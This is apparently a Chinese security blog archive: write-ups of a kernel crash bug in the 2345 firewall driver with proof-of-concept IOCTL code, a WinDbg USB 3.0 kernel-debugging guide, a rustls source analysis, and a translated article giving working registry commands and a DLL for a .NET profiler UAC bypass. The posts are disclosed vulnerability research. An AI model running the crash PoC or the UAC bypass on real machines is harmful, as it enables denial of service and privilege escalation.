稍微总结一下，应用层传入内容结构越复杂，越容易出现问题。这个漏洞出现的位置，本来应该是2345接口协议验证的代码，是为了增加安全性的，却不想成为了安全性问题的原因。

该系列后续会继续分析其他原因引起的漏洞，如有兴趣，敬请期待！

转载请注明出处：https://anhkgg.github.io/vul-2345-2/

参考

2345内核拒绝服务漏洞（1）

2018-07-08T03:15:39.000Z

概述

已经快2个月了吧，已经忘了是什么原因突然搞起了驱动漏洞，反正就是很有兴致地想挖掘一下驱动漏洞。

在网上了解了基本的驱动漏洞挖掘方法，主要是通过ioctl接口进行挖掘，已经有很多相关fuzz工具了，比如ioctlbf、kDriver-Fuzzer等等。

kDriver-Fuzzer的作者k0keoyo在2017年收获了100多个CVE，很牛逼啊，这个已经2018年了，再来挖此种类型的驱动是不是已经晚了啊，心中苦涩啊。

不过毕竟也写了几年驱动程序了，不搞搞怎么也说不过去啊，所以开始干！

初学者嘛，还是找软柿子捏捏，什么微软、卡巴、小红伞、360、管家先还是别想了，很巧的知道了2345安全软件（此处想笑，毕竟为我贡献了不少…），先啥也不管，IDA一番…

很不幸的，没多久2345就被我弄翻了，嗯，听说该公司年代也挺久了，咋这么…

经过俩周手工和工具的连番蹂躏，发现2345安全软件驱动共10多个内核拒绝服务漏洞（某些也许可提权），也第一次感受到了拿CVE的感觉（其实怎么感觉都有点waterwater的）…

好，前言胡扯差不多就到这里了，本系列将拿2345中几个典型的原因造成的安全漏洞进行一番分析，希望对和我一样的初学者有一定帮助。

哦，当然，在连番联系2345客服催促之后，2345终于修复了所有漏洞，所以我才等到这个时候分享文章，分析一些细节应该对他们没什么影响了吧（不过，我可没有所有的都重新验证一遍，申明一下，大家不要拿来干坏事，出事了我概不负责！）

漏洞概况

软件网址：http://safe.2345.cc/
版本：v3.7 X86

2345安全软件的驱动2345NetFirewall.sys在ioctl(0x00222014)接口处理中，对输入数据校验不严格，可构造数据中包含非法地址导致访问违例，然后bsod拒绝服务。

漏洞分析

在IRP_MJ_DEVICE_CONTROL处理函数中，对0x222014接口进行处理时如下所示：

InputBuf是应用层传入的输入缓存内容，校验InputBuf是否为空，长度是否超过8字节，然后在memcpy位置直接取InputBuf第一个字段(0偏移)作为目标地址拷贝内容进去，这里未校验第一个字段值作为内存地址的合法性。

看到这里是不是有什么邪恶的想法了，把该字段置0，那么memcpy(0, xx, xx)不就bsod了。嗯，有点想多了，2345还是受过一些伤害做过一些自我修复的。

看下面，该段代码有异常处理保护，so，0地址bsod不成了（确认该处在3.6版本时被人法克了的，所以补了一下）。

既然0不行，那么其他地址还是可以的嘛，比如某些内核地址0x80000000，或者nt!HalDispatchTable（某些提权方式使用的地址）。

用下面的poc代码尝试了一下，bsod！

ctlcode = 0x222014;
NETFW_IOCTL_222014 buf_222014 = {0};
buf_222014.size = 1;
buf_222014.ptr = (DWORD*)0x80000000; //非法内核地址
if(!DeviceIoControl(h, ctlcode, &buf_222014, sizeof(NETFW_IOCTL_222014), &buf_222014, sizeof(NETFW_IOCTL_222014), &BytesReturned, NULL)) {
 printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
}

kd> dd 80000000
80000000  ???????? ???????? ???????? ????????
80000010  ???????? ???????? ???????? ????????

至此，该内核拒绝服务漏洞验证成功，替换未其他内核地址还是有希望提权的，这里不在深入研究。

结语

看完整篇，其实知道该漏洞真的很明显，很弱B是吧。但是基于某些原因（门槛？漏洞价值？），内核驱动这方面受到的关注较少，所以被虐的少了，开发人员重视程度也不够，所以对于参数的校验上就没那么认真严谨了！所以留下了这种弱X的洞洞被我捡漏。

当然，前面提到2345在3.6版本中已经被人干过，所以还是做了一定的工作的，除了加入了异常保护代码，对于ioctl接口调用也加入了一定的限制和校验。所以poc不是直接就调用接口就成功触发bsod的，而做了一定的前期工作来应对2345做的限制和保护。

这里不是重点，大致讲一下。在IRP_MJ_DEVICE_CONTROL处理函数中，首先会校验调用接口的进程是否在缓存的白名单进程中，但是呢2345又提供了ioctl接口来添加进程到白名单中，对该接口也没做什么其他的校验，所以很随意的调用成功，把自己的poc进程加入了白名单中，然后再调用漏洞接口触发bsod，完成！

另外，如果有兴趣也研究一些驱动此类漏洞的，并且对驱动编程不是很了解的，建议可以先简单学习一下简单驱动编写模板、ring3和ring0通信方式、驱动设备等等内容，推荐可以看看《Windows驱动开发技术详解》相关章节内容。

该系列后续会继续分析其他原因引起的漏洞，如有兴趣，敬请期待！

转载请注明出处：https://anhkgg.github.io/vul-2345-1/

Windbg USB3.0双机调试

2018-03-23T06:31:36.000Z

配置需求

1.目标主机有USB3.0 xHCI主机控制器，支持调试
2.host主机支持USB3.0 xHCI主机控制器(使用UsbView查看)
3.USB 3.0 调试线(国外购买地址（可以用普通USB3.0 公对公线改造，剪掉红绿百三根线）

先从淘宝买一根USB 3的A对A连线，有时也称公对公连线，很便宜。这根线需要加工一下才可以支持调试，加工的方法是选取线的某个位置，剥开外皮，然后把其中的红绿白三根线剪断，然后包上就可以了。USB 3电缆的线是有固定颜色的，如图3所示，
其中SDP是Shielded Differential Pair的缩写，即屏蔽起来的差分信号线，是USB 3.0的数据线，UTP是Unshielded Twisted Pair的缩写，即未屏蔽的双绞线，是USB1/2使用的数据线，所谓的D+，D-。要做的加工其实就是把2.0的三根弦剪断。剥开后，很容易找到红绿白三根，胆大心细，下剪子吧:-)。

4.两台主机系统必须是Win8以上

On the host computer, an xHCI (USB 3.0) host controller
On the target computer, an xHCI (USB 3.0) host controller that supports debugging

步骤

在目标主机配置调试模式。

命令：

bcdedit /debug on
bcdedit /dbgsettings usb targetname:TargetName
//如果目标主机有多个xHCI主机控制器，则需要配置需要使用的，b.d.f在usbview中可以看到
bcdedit /set "{dbgsettings}" busparams b.d.f
//重启主机

使用msconfig配置，引导，高级模式，勾选调试，选择USB模式，USB目标名：usbdbg

host主机配置。

第一次配置，如果host是X64，开启X64 windbg，如果是x86，选择开启x86 windbg，需要管理员权限运行。

Ctrl+K，选择USB，填入目标主机配置的名字（usbdbg），确认，等待。


Microsoft (R) Windows Debugger Version 10.0.14321.1024 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Using USB for debugging
Waiting to reconnect...
USB: Write opened

当将USB调试线插入host主机接口时，会自动安装相关驱动（usb2dbg等，管理员，位数等要求的原因）。

然后出现USB: Write opened表示与目标主机连接成功。

按下Ctrl+break，即可开始调试目标主机了

Connected to Windows 10 16299 x64 target at (Tue Dec 12 09:47:18.535 2017 (UTC + 8:00)), ptr64 TRUE
Kernel Debugger connection established.

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*e:\symbols* http://msdl.microsoft.com/download/symbols
Deferred                                       SRV*e:\symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*e:\symbols* http://msdl.microsoft.com/download/symbols;SRV*e:\symbols*http://msdl.microsoft.com/download/symbols
Executable search path is: 
Windows 10 Kernel Version 16299 MP (4 procs) Free x64
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 16299.15.amd64fre.rs3_release.170928-1534
Machine Name:
Kernel base = 0xfffff800`9e21d000 PsLoadedModuleList = 0xfffff800`9e57efb0
Debug session time: Tue Dec 12 09:47:12.452 2017 (UTC + 8:00)
System Uptime: 3 days 17:11:46.032
WARNING: Whitespace at end of path element

************* Symbol Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*e:\symbols* http://msdl.microsoft.com/download/symbols
Deferred                                       SRV*e:\symbols*http://msdl.microsoft.com/download/symbols
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run console kernel debugger) or,                       *
*       CTRL+BREAK (if you run GUI kernel debugger),                          *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!DbgBreakPointWithStatus:
fffff800`9e386c60 cc              int     3

连接成功，设备管理中出现USB Debug Connection Device。

参考：

Rustls之源码分析总结（一）

2017-11-17T05:19:50.000Z

作者：anhkgg
日期：2017-11-16

rustls已经支持tls1.3，但是测试分析中使用的tls1.2，所以后面分析主要集中在tls1.2。

主要分析的源码内容：

client和server的握手协议流程
rustls是如何进行数据传输的
数据传输是如何加密解密的

源码结构

分为client和server两部分

公共接口

session.rs定义了SessionCommon，包括了数据传输、数据加密、包处理相关接口。

主要字段

pub struct SessionCommon {
    pub negotiated_version: Option, //协商好的协议版本
    pub is_client: bool, //是客户端true，是服务端false
    message_encrypter: Box, //数据加密接口
    message_decrypter: Box, //数据解密接口
    key_schedule: Option,
    suite: Option<&'static SupportedCipherSuite>,
    write_seq: u64,
    read_seq: u64,
    peer_eof: bool,
    pub peer_encrypting: bool,
    pub we_encrypting: bool,
    pub traffic: bool, // 默认false，握手完成字段为true
    pub want_write_key_update: bool,
    pub message_deframer: MessageDeframer, //消息帧处理对象，保存所有Message包
    pub handshake_joiner: HandshakeJoiner,
    pub message_fragmenter: MessageFragmenter,
    received_plaintext: ChunkVecBuffer, //缓存接收到的数据明文
    sendable_plaintext: ChunkVecBuffer,//缓存握手后需要传输的数据明文
    pub sendable_tls: ChunkVecBuffer, //缓存握手数据包
}

主要接口

函数名	说明
`read_tls`	接收底层连接数据
`write_tls`	通过底层连接发送数据
`process_new_packets`	每次调用read_tls之后都需要调用该函数主动触发消息处理
`wants_read/wants_write`	是否有数据需要接收发送
`encrypt_outgoing`	加密要发送的数据，在握手完成之后需要
`decrypt_incoming`	解密要接收的数据，在握手完成之后需要
`send_msg_encrypt`	发送加密数据
`send_appdata_encrypt`	发送握手之后的数据，加密
`send_some_plaintext`	发送明文数据，握手之后会被加密发送
`start_traffic`	握手完成之后调用，设置传输标志，发送缓存的数据明文
`send_msg`	发送TLS消息，根据是否加密走不通发送方式
`take_received_plaintext`	握手完成之后，收到数据会被调用，参数已经是明文Message
`set_message_encrypter`	设置消息加密接口，`start_encryption_tls12`中调用
`set_message_decrypter`	设置消息解密接口，`start_encryption_tls12`中调用
`start_encryption_tls12`	TLS1.2设置加解密接口，在ExpectTLS12ServerDone::handle/ExpectTLS12ClientKX::handle调用

ciper.rs定义了加密解密的接口。

MessageEncrypter,MessageDecrypter，具体使用加解密方法在握手过程中ExpectTLS12ServerDone::handle/ExpectTLS12ClientKX::handle设置。

//client端
// 5e. Now commit secrets.
let hashalg = sess.common.get_suite().get_hash();
if st.handshake.using_ems {
    sess.secrets = Some(SessionSecrets::new_ems(&st.handshake.randoms,
                                                &handshake_hash,
                                                hashalg,
                                                &kxd.premaster_secret));
} else {
    sess.secrets = Some(SessionSecrets::new(&st.handshake.randoms,
                                            hashalg,
                                            &kxd.premaster_secret));
}
sess.start_encryption_tls12();
//----------
pub fn start_encryption_tls12(&mut self, secrets: &SessionSecrets) {
        let (dec, enc) = cipher::new_tls12(self.get_suite(), secrets);
        self.message_encrypter = enc;
        self.message_decrypter = dec;
    }

client详解

1 2	src/client/mod.rs 导出ClientSession接口，外部使用 src/client/hs.rs tls协议中所有包处理，包括握手和传输

ClientSession内部由ClientSessionImpl实现。

pub struct ClientSessionImpl {
    pub config: Arc, //保存client端的证书，密钥配置等信息
    pub secrets: Option, //保存握手后的会话密钥
    pub alpn_protocol: Option,
    pub common: SessionCommon, // 完成具体消息传输、加解密等
    pub error: Option,
    pub state: Option>, // 保存握手过程中的交互状态，握手中处理对象都实现State接口
    pub server_cert_chain: CertificatePayload, // 服务端证书链
}

握手，准备第一个数据包。

ClientSessionImpl::new内部就会准备握手要发送的第一个数据包。

cs.state = Some(hs::start_handshake(&mut cs, hostname));
//cs.state保存下一次将处理数据对象
---> //进入hs.rs
InitialState::emit_initial_client_hello
--->
emit_client_hello_for_retry
---> //构造发送的数据包
let mut chp = HandshakeMessagePayload {
        typ: HandshakeType::ClientHello,
        payload: HandshakePayload::ClientHello(ClientHelloPayload {
            client_version: ProtocolVersion::TLSv1_2,
            random: Random::from_slice(&handshake.randoms.client),
            session_id: session_id,
            cipher_suites: sess.get_cipher_suites(),
            compression_methods: vec![Compression::Null],
            extensions: exts,
        }),
    };

然后，收到返回数据之后，会在ClientSessionImpl::process_main_protocol调用state.handle来处理收到的数据，然后返回新的state，用于下次处理，如此循环，知道握手完成。

fn process_main_protocol(&mut self, msg: Message) -> Result<(), TLSError> {
 //检查消息是否合法
    let state = self.state.take().unwrap();
    state
        .check_message(&msg)
        .map_err(|err| {
            self.queue_unexpected_alert();
            err
        })?;
    //处理本次数据，返回下次需要处理的数据对象
    self.state = Some(state.handle(self, msg)?);
    Ok(())
}

消息处理调用流程如下：

1 2	//ClientSessionImpl process_new_packets->process_msg->process_main_protocol->state.handle

下面直接列出client端握手处理流程：

ExpectServerHelloOrHelloRetryRequest:handle 
ExpectServerHello:handle // 处理serverhello
ExpectTLS12Certificate: handle //验证证书
ExpectTLS12ServerKX: handle  // 密钥交换
ExpectTLS12ServerDoneOrCertReq: handle
ExpectTLS12ServerDone: handle
emit_clientkx
emit_ccs
ExpectTLS12CCS:handle //通知使用加密方式发送报文，sess.common.peer_now_encrypting();设置后面数据会加密的状态
emit_finished
ExpectTLS12Finished:handle // 握手结束

在ExpectTLS12Finished::handle中，会保存session，开始传输数据，以及返回下次的state，此时握手协议已经完成。

save_session(&mut st.handshake,
             &mut st.ticket,
             sess);

if st.resuming {
    emit_ccs(sess);
    emit_finished(&mut st.handshake, sess);
}

sess.common.we_now_encrypting();
sess.common.start_traffic(); //发送数据
Ok(st.into_expect_tls12_traffic(fin)) // 下次需要ExpectTLS12Traffic

后面数据传输的所有流程都会进入ExpectTLS12Traffic::handle，也就是开始传输协议。

impl State for ExpectTLS12Traffic {
    fn handle(self: Box, sess: &mut ClientSessionImpl, mut m: Message) -> StateResult {
   sess.common.take_received_plaintext(m.take_opaque_payload().unwrap());
        Ok(self) //返回的依然是ExpectTLS12Traffic给state，所以以后都会进入这里
    }
}

传输数据的处理。

接收数据

调用take_received_plaintext将获取到的明文Message传给内部处理，存入SessionCommon的received_plaintext，等待用户的提取。

那明文Message是怎么来的呢？是在前面说到的消息处理流程中，到handle之前。

1	process_new_packets->process_msg->process_main_protocol->state.handle

在process_msg中会判断peer_encrypting状态为真则将数据解密，而该状态是在握手中ExpectTLS12CCS::handle 被设置为true的。

pub fn process_msg(&mut self, mut msg: Message) -> Result<(), TLSError> {
 // Decrypt if demanded by current state.
 if self.common.peer_encrypting {
     let dm = self.common.decrypt_incoming(msg)?; //解密数据
     msg = dm;
 }
        
//self.common.peer_encrypting
pub fn peer_now_encrypting(&mut self) {
    self.peer_encrypting = true;
}

发送数据

握手过程中，发送数据包使用sess.common.send_msg(ch, false)。send_msg内部根据是否加密状态（must_encrypt）进行不同处理，直接缓存或者调用send_msg_encrypt加密之后缓存。

1	send_msg_encrypt->send_single_fragment->encrypt_outgoing(加密)

最后都是通过queue_tls_message将数据先缓存，然后在调用write_tls之后将数据发送。

1
2
3

pub fn write_tls(&mut self, wr: &mut Write) -> io::Result {
    self.sendable_tls.write_to(wr)
}

握手完成后，通过ClientSession实现的io::write（或者write_all）接口发送明文数据。

impl io::Write for ClientSession {
 //先缓存数据
    fn write(&mut self, buf: &[u8]) -> io::Result{
            self.imp.common.send_some_plaintext(buf)
    }
 //flush时才发送数据
    fn flush(&mut self) -> io::Result<()> {
        self.imp.common.flush_plaintext();
        Ok(())
    }
}

send_some_plaintext在根据是否握手完成有不同的操作，握手未完成时，先缓存明文到sendable_plaintext，握手完成后，直接调用send_appdata_encrypt缓存密文（进入send_single_fragment过程加密）。

pub fn send_some_plaintext(&mut self, data: &[u8]) -> io::Result {
    self.send_plain(data, Limit::Yes)
}

fn send_plain(&mut self, data: &[u8], limit: Limit) -> io::Result {
    if !self.traffic { //握手未完成
        let len = match limit { //缓存明文
            Limit::Yes => self.sendable_plaintext.append_limited_copy(data),
            Limit::No => self.sendable_plaintext.append(data.to_vec())
        };
        return Ok(len);
    }
    //握手完成，直接缓存加密数据
    Ok(self.send_appdata_encrypt(data, limit))
}

握手完成时，之前缓存的明文数据通过start_traffic实际将数据加密缓存到sendable_tls，最后也是通过write_tls发送出去。

pub fn start_traffic(&mut self) {
        self.traffic = true;
        self.flush_plaintext();
    }
->
flush_plaintext->send_plain->send_appdata_encrypt->send_single_fragment-> encrypt_outgoing(加密)

握手完成之后调用的send_some_plaintext是直接将数据加密缓存，在write_tls后发送出去。

server详解

1
2
3

src/server/mod.rs 导出ServerSession接口，外部使用
src/server/hs.rs tls协议中所有包处理，包括握手和传输
src/client/

公开外部使用的借口ServerSession，内部由ServerSessionImpl实现。

pub struct ServerSessionImpl {
    pub config: Arc, //证书、密钥等配置
    pub secrets: Option, //会话密钥
    pub common: SessionCommon, // 实际握手传输数据处理对象
    sni: Option, //SNI(Server Name Indication) ，解决一个服务器使用多个域名和证书的SSL/TLS扩展
    pub alpn_protocol: Option,
    pub error: Option,
    pub state: Option>, //握手和传输中处理数据包的状态，每个状态的数据包处理对象
    pub client_cert_chain: Option>, //client证书链
}

接口基本和ClientSession类似，不再详述

握手流程

server和client处理握手的方式都一样，每个握手包处理对象都会实现State接口。

pub trait State {
    fn check_message(&self, m: &Message) -> CheckResult;
    fn handle(self: Box, sess: &mut ServerSessionImpl, m: Message) -> StateResult;
}

然后在收到client消息之后，在process_main_protocol中调用对应握手包对象的handle函数，并且会返回握手期望处理的下次数据包对象给state，以便下次收到消息继续处理。

1 2	//process_main_protocol self.state = Some(st.handle(self, msg)?);

握手流程：

-----ExpectClientHello::handle
-----ExpectTLS12Certificate::handle //如果需要验证client的证书，有这步
-----ExpectTLS12ClientKX::handle //密钥交换
-----ExpectTLS12CertificateVerify::handle //验证client证书
-----ExpectTLS12CCS::handle //通知使用加密方式发送报文
-----ExpectTLS12Finished::handle //握手完成
-----ExpectTLS12Traffic:: handle //开发传输数据

消息传输

同样，握手完成后，server在ExpectTLS12Traffic::handle中处理后续的传输协议中的消息。

impl State for ExpectTLS12Traffic {
    fn handle(self: Box, sess: &mut ServerSessionImpl, mut m: Message) -> StateResult {
        println!("-----ExpectTLS12Traffic::handle");
        sess.common.take_received_plaintext(m.take_opaque_payload().unwrap());
        Ok(self)
    }
}

数据加密和解密流程基本和client类似，不再详述。

另外，client和server握手中需要发送的数据包构造都在hs.rs::emit_xxx函数中

消息相关

该部分存在单独的msgs目录下，包含了握手过程中各种消息类型的定义，消息传输具体设计的fragment/deframe等。

所有消息统一的结构Message，Message也定义了一下方便获取字段和数据的借口，这里不再详述。

pub struct Message {
    pub typ: ContentType,
    pub version: ProtocolVersion,
    pub payload: MessagePayload,
}

//msgs/message.rs
MessagePayload
BorrowMessage

//msgs/handshake.rs
包含握手过程中，证书、密钥交换的一些数据结构

//msgs/deframe.rs
定义了MessageDeframer，管理Message数据，read/deframe_one

//msgs/hsjoiner.rs
HandshakeJoiner，重建握手数据，验证数据等定义

//msgs/enums.rs
各种版本号，算法类型号，握手包类型序号等等的enum定义

//msgs/ccs.rs
密钥交换相关定义

其他

文件	说明
key.rs	密钥、证书结构定义
pemfile.rs	PEM文件解析生成密钥相关接口
verify.rs	证书验证相关
suites.rs	加密套件、密钥交换相关
sign.rs	签名相关
vecbuf.rs	所有消息数据最底层存储结构，vec构成
webpki	三方库，完成证书验证
ring	三方库，完成加密算法相关能力

下篇在根据示例代码分析一下rustls库具体的使用

转载请注明出处：https://anhkgg.github.io/rustls-source-code-analyze/

翻译：通过.NET程序提权绕过UAC

2017-09-21T06:04:46.000Z

.NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL，甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10（包括最近的RS3）系统的默认UAC设置，如通过自动提权.NET进程（MMC管理单元）来加载任意的DLL。

介绍

去年五月， Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用，通过环境变量使合法的.NET程序加载一个恶意DLL

当看到这一点，脑海中第一种想法就是，如果这个方法在高权限.NET进程也可以工作，那这将是一个绕过UAC的好办法。果然，确实如此。

这个问题到写这篇博客时依然没有修复，而且可能一直如此——但是在7月，它被 Stefan Kanthak独立地发现并报告了，按完整披露流程公布了该问题。

绕过UAC

要让一个.NET应用程序加载任意一个DLL，我们可以使用以下环境变量。

1
2
3

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll

在.NET 4以下版本，CLSID必须在HKCR\CLSID{GUID}\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中，CLR通过COR_PROFILER_PATH环境变量来找这个DLL，如果COR_PROFILER_PATH没有定义再使用CLSID查找。

HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID组合起来显示的。在HKLM（或者系统环境变量）下创建CLSID键需要提权，而在HKCU下创建不需要。需要注意，在用户环境变量和HKCU注册表项下一切也都工作正常。

可以简单使用一段批处理命令让它工作：

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc

这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\temp\test.dll(如果存在)。可以绕过Windows 7到10（包括最新RS3）系统的默认UAC设置。

内嵌DLL的powershell POC可以在这里找到（只支持X64）。

这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe，会产生一个提权的命令行终端，然后马上退出当前进程，阻止MMC控制台弹出。

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    char cmd[] = "cmd.exe";

    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        WinExec(cmd, SW_SHOWNORMAL);
        ExitProcess(0);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在Windows 7,8.1，10 1703和10 RS3 build 16275中测试通过。
当然，如果你有可访问的SMB共享，UNC路径也可以工作。

1	COR_PROFILER_PATH=\\server\share\test.dll

根本原因

COM运行时在运行高权限进程时会阻止在HKCU查找CLSID，所以这种绕过方式无效，但是.NET运行时没有阻止，在这种情况下，.NET在shim组件查找时会查找这些键值。

如果要修复，需要CLR实现和COM一样的检查。

不是安全边界

微软多次申明UAC不是一个安全边界，安全从业者以更务实的角度来看它：不要信任UAC，不要用admin运行，用非admin用户运行不需要admin的任务，我非常赞同这种说法。

但是依然很多人用admin运行所有的东西，他们都是渗透测试人员和红色组织（都是坏人）感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。

如果为了渗透测试，我推荐使用@tiraniddo的例子（一个已经实现，另一个也快来了），它不需要加载DLL，并且目前大部分EDR解决方案还不能捕获它。

另外，如果你也在研究绕过UAC，这个主题外有很多资源，但是下面的必须读一下：

@enigma0x3’s research (and his upcoming DerbyCon talk)
@tiraniddo’s bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
@hFireF0X’s UACME project that implements most known UAC bypasses, and his posts on kernelmode
@FuzzySec’s UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell

非常感谢Casey Smith(@subtee)指出.NET profiler DLL技巧，并且感谢对微软开发者找到根本原因给予的帮助，谢谢Matt Graeber (@mattifestation) 的意见和review。

进展时间

2017-05-19 发现bypass
2017-05-20 给MSRC发邮件 (cc’ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC创建主题 #38811
2017-05-20/23 和 MS dev讨论
2017-06-24 MSRC回复: “We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary.”
2017-07-05 Stefan Kanthak绕过方案的完整披露
2017-09-15 发表本篇文章

文章来源：https://offsec.provadys.com/UAC-bypass-dotnet.html